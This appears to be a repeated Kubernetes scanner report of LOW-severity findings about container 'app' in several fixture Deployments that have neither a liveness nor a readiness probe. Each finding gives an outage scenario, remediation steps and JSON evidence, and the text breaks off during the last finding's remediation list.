LOW Deployment/imgswap-fixtures/imgswap-reader-app Workload 3.5
Container app in Deployment/imgswap-fixtures/imgswap-reader-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/imgswap-fixtures/imgswap-reader-app
Category: Defense Evasion Resource: Deployment/imgswap-fixtures/imgswap-reader-app Namespace: imgswap-fixtures

Container app in Deployment/imgswap-fixtures/imgswap-reader-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/imgswap-reader-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/ingress-only/ingress-app Workload 3.5
Container app in Deployment/ingress-only/ingress-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Defense Evasion Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Container app in Deployment/ingress-only/ingress-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/ingress-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/lp-fixtures/lp-narrow-app Workload 3.5
Container app in Deployment/lp-fixtures/lp-narrow-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app
Category: Defense Evasion Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-narrow-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/lp-narrow-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/lp-fixtures/lp-orphan-app Workload 3.5
Container app in Deployment/lp-fixtures/lp-orphan-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app
Category: Defense Evasion Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-orphan-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/lp-orphan-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/lp-fixtures/lp-wildcard-app Workload 3.5
Container app in Deployment/lp-fixtures/lp-wildcard-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app
Category: Defense Evasion Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-wildcard-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/lp-wildcard-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/netpol-imds/imds-allow-app Workload 3.5
Container app in Deployment/netpol-imds/imds-allow-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Defense Evasion Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-allow-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/imds-allow-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/netpol-imds/imds-open-app Workload 3.5
Container app in Deployment/netpol-imds/imds-open-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Defense Evasion Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-open-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/imds-open-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/psa-suppressed/psa-priv-app Workload 3.5
Container app in Deployment/psa-suppressed/psa-priv-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/psa-suppressed/psa-priv-app
Category: Defense Evasion Resource: Deployment/psa-suppressed/psa-priv-app Namespace: psa-suppressed

Container app in Deployment/psa-suppressed/psa-priv-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/psa-priv-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 3.5
Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Defense Evasion Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/psa-unlabeled-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/pv-hostpath-fixtures/pv-hostpath-app Workload 3.5
Container app in Deployment/pv-hostpath-fixtures/pv-hostpath-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app
Category: Defense Evasion Resource: Deployment/pv-hostpath-fixtures/pv-hostpath-app Namespace: pv-hostpath-fixtures

Container app in Deployment/pv-hostpath-fixtures/pv-hostpath-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/pv-hostpath-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
